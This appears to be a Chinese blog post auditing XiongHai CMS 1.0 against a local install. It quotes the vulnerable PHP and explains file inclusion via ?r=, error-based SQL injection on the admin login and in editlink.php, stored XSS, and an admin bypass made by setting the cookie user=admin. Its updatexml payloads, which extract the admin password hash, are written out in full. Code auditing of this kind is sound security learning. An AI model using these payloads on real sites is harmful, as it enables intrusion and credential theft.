zoukankan      html  css  js  c++  java
  • 熊海CMS_1.0 代码审计

      熊海是一款小型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是比较多的,而且审计起来难度不大,非常适合入门,所以今天我进行这款cms的代码审计。程序安装后使用seay源代码审计系统打开,首先使用自动审计。

      可以看到,seay源代码审计工具还是审出了非常多的可疑漏洞的,但是这款工具还是有一定的误报率的。我们需要做的就是可疑漏洞的检查。

    0x01 /index.php 的文件包含

      我们首先检查第一个可疑漏洞,打开/index.php文件:

    1 <?php
    2 //单一入口模式
    3 error_reporting(0); //关闭错误显示
    4 $file=addslashes($_GET['r']); //接收文件名
    5 $action=$file==''?'index':$file; //判断为空或者等于index
    6 include('files/'.$action.'.php'); //载入相应文件
    7 ?>

      在第6行,我们可以发现这里存在一个非常明显的文件包含漏洞,参数r没有经过任何过滤直接被include包含。我们在根目录下创建phpinfo.php文件,内容为<?php phpinfo(); ?>,在url里提交?r=../phpinfo,程序添加.php后缀名后产生了文件包含。

      /admin/index.php也同理存在文件包含漏洞。

     0x02 /admin/files/login.php SQL注入

      后面的这些漏洞暂时不看,对一个网站来说,后台登陆的安全性需求最高,我们直接来看登陆页面的代码:

     1 <?php 
     2 ob_start();
     3 require '../inc/conn.php';
     4 $login=$_POST['login'];
     5 $user=$_POST['user'];
     6 $password=$_POST['password'];
     7 $checkbox=$_POST['checkbox'];
     8 
     9 if ($login<>""){
    10 $query = "SELECT * FROM manage WHERE user='$user'";
    11 $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    12 $users = mysql_fetch_array($result);
    13 
    14 if (!mysql_num_rows($result)) {  
    15 echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
    16 exit;
    17 }else{
    18 $passwords=$users['password'];
    19 if(md5($password)<>$passwords){
    20 echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
    21 exit;    
    22     }
    23 //写入登录信息并记住30天
    24 if ($checkbox==1){
    25 setcookie('user',$user,time()+3600*24*30,'/');
    26 }else{
    27 setcookie('user',$user,0,'/');
    28 }
    29 echo "<script>this.location='?r=index'</script>";
    30 exit;
    31 }
    32 exit;
    33 ob_end_flush();
    34 }
    35 ?>

      一段赏心悦目的漏洞,如果所有的网站都这样就不会陷入日站日不动,审计没思路的尴尬局面了。简单看了一眼代码后,企图直接万能密码登陆,登陆的时候发现可以用错误的用户名和正确的密码登陆,如果密码不正确还是不能登陆。黑盒测试失败,继续回来看代码吧...

      首先程序用post方式接收我们传递的参数,然后未经任何过滤进行了用户名校验,如果用户名存在继续进行密码校验。问题出在代码的第19行,这里首先将我们传递的password变量进行md5散列,然后拿散列值与数据库里面的密码进行核对,这也就是我们不能采用万能密码绕过的原因。不过问题不大这里的sql注入算是石锤了,我们可以通过报错注入来利用这个漏洞。我们提交用户名为:

    1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #
    

       成功报错,我们利用返回的md5值查找对应的密码,结果是找不到的,仔细查看原因发现返回的md5值只有27位...所以我们要进行两次报错注入拼接md5值,最终payload:

    1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
    1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
    

     0x03 后台的SQL注入

      成功登陆后台之后我们再查看后台的可疑漏洞,根据自动分析的结果,我们看到了一大堆SQL注入漏洞。一个一个点开看,非常多的变量使用了addslashes进行过滤,这里也不存在gbk和utf-8的编码问题,所以也不用考虑宽字节注入,基本确定属于误报。后面第一个真正的漏洞位于/admin/files/editlink.php,源码如下:

     1 <?php
     2 require '../inc/checklogin.php';
     3 require '../inc/conn.php';
     4 $linklistopen='class="open"';
     5 $id=$_GET['id'];
     6 $query = "SELECT * FROM link WHERE id='$id'";
     7 $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
     8 $link = mysql_fetch_array($resul);
     9 
    10 $save=$_POST['save'];
    11 $name=$_POST['name'];
    12 $url=$_POST['url'];
    13 $mail=$_POST['mail'];
    14 $jieshao=$_POST['jieshao'];
    15 $xs=$_POST['xs'];
    16 if ($xs==""){
    17 $xs=1;    
    18     }
    19 
    20 if ($save==1){
    21     
    22 if ($name==""){
    23 echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>";
    24 exit;
    25 }
    26 if ($url==""){
    27 echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>";
    28 exit;
    29 }
    30 
    31 $query = "UPDATE link SET 
    32 name='$name',
    33 url='$url',
    34 mail='$mail',
    35 jieshao='$jieshao',
    36 xs='$xs',
    37 date=now()
    38 WHERE id='$id'";
    39 @mysql_query($query) or die('修改错误:'.mysql_error());
    40 echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>"; 
    41 exit;
    42 }
    43 ?>

      非常明显还是那个老问题,通过post提交变量,中间没有进行任何过滤直接查询数据库,继续用刚刚的payload吧,漏洞确实存在的,而且后面还有好多处,不挨个写了。

    ' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
    

     

    0x04 留言板XSS

      源码审计系统还报了一处位于/seacmseditor/php/controller.php的XSS漏洞,但是这里在输出到浏览器的时候被htmlspecialchars转义成为了html实体,所以说这又是一个误报。但是这套CMS还有一个影响比较严重的XSS没有被扫描出,CMS的前台留言板没有进行XSS过滤,后台管理界面也没有进行过滤,因此产生了存储型XSS,而且有针对性的攻击管理员,属于比较危险的一类XSS了。这里不贴代码了。

    0x05 垂直越权

      自动审计结果还给出了好几个/inc目录下的任意文件读取,挨个打开阅读源码之后并没有发现这个漏洞,倒是checklogin.php存在一个垂直越权漏洞:

    1 <?php
    2 $user=$_COOKIE['user'];
    3 if ($user==""){
    4 header("Location: ?r=login");
    5 exit;    
    6 }
    7 ?>

      一个判断管理员的程序,如果COOKIE中user参数为空,那么就跳转到登陆窗。这样的话越权就很轻松了,我们访问一个需要管理员权限的页面,例如http://127.0.0.1/xhcms-1.0/admin/?r=editlink,抓包在COOKIE后面添加user=admin即可实现越权。

      总之这款CMS对新手友好,大家也可以试着玩一下!

  • 相关阅读:
    不常用函数总结
    高效update方案
    一次http完整的请求tcp报文分析
    类的初始化以及创建对象后的初始化
    [置顶] 编译背后的秘密
    html object元素
    JQuery初识
    Java多线程yield
    智能电视TV开发---直播视频客户端结构设计和实现
    以Android环境为例的多线程学习笔记(二)-----------------锁和条件机制
  • 原文地址:https://www.cnblogs.com/richardlee97/p/10600103.html
Copyright © 2011-2022 走看看